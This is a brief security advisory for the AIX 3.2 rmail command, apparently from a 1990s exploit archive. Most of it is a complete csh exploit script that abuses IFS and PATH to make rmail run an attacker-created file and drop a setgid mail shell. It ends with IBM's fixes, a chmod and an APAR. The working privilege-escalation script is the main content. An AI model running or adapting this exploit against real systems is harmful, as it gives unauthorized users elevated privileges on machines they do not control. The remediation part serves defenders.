COMMAND
rmail
SYSTEMS AFFECTED
AIX 3.2
#!/bin/csh
# IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994
mkdir /tmp/.rmail
cd /tmp/.rmail
cat << EOF > usr
cp sh mailsh
chmod 2777 mailsh
EOF
chmod 777 usr
ln -s /bin/sh .
setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail joeuser@nohost.com
unsetenv IFS
rm -f usr sh # minor cleanup.
echo "Attempting to run sgid shell."
./mailsh
SOLUTION
There are two possible solutions to this vulnerability. IBM urges
you to use the first solution since it is the quickest solution.
1) As root, execute the following command:
/usr/bin/chmod 555 /usr/bin/rmail /bin/rmail
2) Apply the following APAR to your system once the APAR
is available:
APAR - IX57680